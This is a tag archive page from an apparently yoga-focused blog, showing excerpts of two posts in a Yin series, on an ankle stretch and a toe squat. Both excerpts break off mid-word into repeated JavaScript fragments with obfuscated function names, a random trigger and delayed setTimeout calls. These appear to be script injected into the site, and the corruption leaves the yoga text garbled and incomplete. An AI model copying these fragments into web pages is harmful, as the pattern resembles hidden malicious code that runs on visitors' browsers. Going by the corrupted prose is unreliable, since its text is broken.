Tag Archives: feet

Ankle Stretch {Yin Series}

Do you remember way back in July when we covered the Yin pose Toe Squat? We talked about how many meridians are in our feet andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay …

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Toe Squat {Yin Series}

Toe Squat Let’s switch gears a bit in this week’s Yin series.  Summer is a time of simple shoes; flip flops, sandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), …

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